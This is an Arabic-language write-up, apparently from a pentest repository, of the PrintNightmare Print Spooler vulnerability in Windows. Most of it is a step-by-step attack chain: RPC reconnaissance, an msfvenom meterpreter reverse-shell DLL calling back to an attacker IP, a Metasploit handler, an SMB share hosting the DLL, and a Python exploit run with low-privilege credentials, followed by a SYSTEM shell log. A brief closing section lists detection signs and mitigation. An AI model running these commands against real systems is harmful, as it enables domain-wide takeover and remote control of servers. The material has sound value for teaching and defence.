
كتابة فنية وتحليل لثغرة PrintNightmare (CVE-2021-1675 / CVE-2021-34527)، تغطي استغلال RCE/LPE، والكشف عبر سجلات أحداث Windows، والتخفيف من مخاطر Print Spooler.
يحتوي المستودع على تقرير فني مفصل (Write-up) وتحليل لمفهوم استغلال ثغرة حرجة في خدمة مدير الطباعة في Windows (Print Spooler)، تتيح لمستخدم مجال منخفض الصلاحيات تنفيذ تعليمات برمجية عشوائية عن بُعد بأعلى صلاحيات النظام.
🛑 تحذير وإخلاء مسؤولية: تم إعداد هذه المادة لأغراض تعليمية فقط ولإجراء تدقيق أمني مشروع (Pentest). يُعد استخدام التقنيات الموصوفة ضد الأنظمة دون موافقة كتابية مسبقة من المالكين مخالفاً للقانون.
تمثل ثغرات عائلة PrintNightmare تهديدًا حرجًا للبيئات المؤسسية القائمة على Windows Server و Active Directory. يسمح العيب المعماري في التحقق من الصلاحيات في واجهات RPC MS-RPRN (Print System Remote Protocol) و MS-PAR (Print System Asynchronous Remote Protocol) بطلب تثبيت برامج تشغيل الطابعة على الخادم البعيد بشكل مشروع.
يكمن الخطر الرئيسي في أن خدمة مدير الطباعة (spoolsv.exe) نشطة افتراضيًا على معظم الخوادم، بما في ذلك وحدات تحكم المجال (Domain Controllers)، وتعمل في سياق أعلى الصلاحيات NT AUTHORITY\SYSTEM. إن اختراق حساب واحد منخفض الصلاحيات (على سبيل المثال عبر التصيد) يسمح للمهاجم بالاستيلاء الفوري على السيطرة الكاملة على البنية التحتية لـ Active Directory.
impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, استغلال Python.لتنفيذ متجه تنفيذ الأوامر عن بُعد (RCE)، يلزم وجود بيانات اعتماد مجال صالحة لمستخدم بأقل الصلاحيات (مقدمة ضمن شروط البحث).
spoolsv.exe) على جهاز Windows الهدف نشطة وتعمل بأعلى الصلاحيات SYSTEM، مما يفتح إمكانية مباشرة لرفع الصلاحيات محليًا (LPE) على المضيف عبر تحميل مكتبة غير موثوقة.قبل تشغيل الاستغلال الرئيسي، يجب التأكد من أن الجهاز البعيد يقدم بروتوكولات الطباعة الضعيفة ومفتوح للتفاعل الشبكي. نقوم باستطلاع واجهات RPC للنظام المستهدف:
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'
مخرجات الطرفية المتوقعة:
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
[MS-RPRN] و [MS-PAR]. وهذا يؤكد بنسبة 100% أن النظام يدعم واجهات الطباعة عن بُعد اللازمة وهو عرضة لمتجه PrintNightmare.نقوم بإنشاء حمولة لبنية x64، مع تحديد عنوان IP لجهاز المهاجم من أجل الاتصال العكسي:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"
يجب أن تتاح لخادم Windows الهدف إمكانية مشروعة لتنزيل مكتبة DLL الخاصة بنا عبر الشبكة دون استخدام أدوات خارجية. نقوم بتشغيل خادم SMB مع دعم بروتوكول SMBv2 من المجلد /tmp:
sudo impacket-smbserver tmp /tmp -smb2support
نقوم بتشغيل سكربت الاستغلال المكتوب بلغة Python، مع تمرير بيانات اعتماد مستخدم مجال منخفض الصلاحيات ومسار UNC إلى المكتبة الخبيثة على مشاركة SMB المحلية لدينا:
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'
سجل اعتراض الجلسة بنجاح (Metasploit):
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.
C:\Windows\system32> whoami
nt authority\system
NT AUTHORITY\SYSTEM الأعلى. تم اختراق الهدف بالكامل.بالنسبة لمتخصصي الفريق الأزرق (Blue Team)، يعتمد اكتشاف استغلال PrintNightmare على تدقيق سجلات نظام Windows وتتبع النشاط غير الطبيعي للعمليات.
يترك التشغيل الناجح للاستغلال سجلات مميزة في سجلات الطباعة وسجلات النظام:
C:\Windows\System32\spool\drivers\x64\3\).Print Spooler)، ناتجة عن عمل غير مستقر للاستغلال.cmd.exe, powershell.exe) أو أدوات جمع البيانات التي يكون أصلها هو عملية نظام مدير الطباعة spoolsv.exe. في الظروف المشروعة، لا يقوم spoolsv.exe أبدًا بإنشاء قذائف أوامر.spoolsv.exe إلى موارد SMB خارجية (المنفذ 445) لتنزيل ملفات برامج التشغيل.Disabled.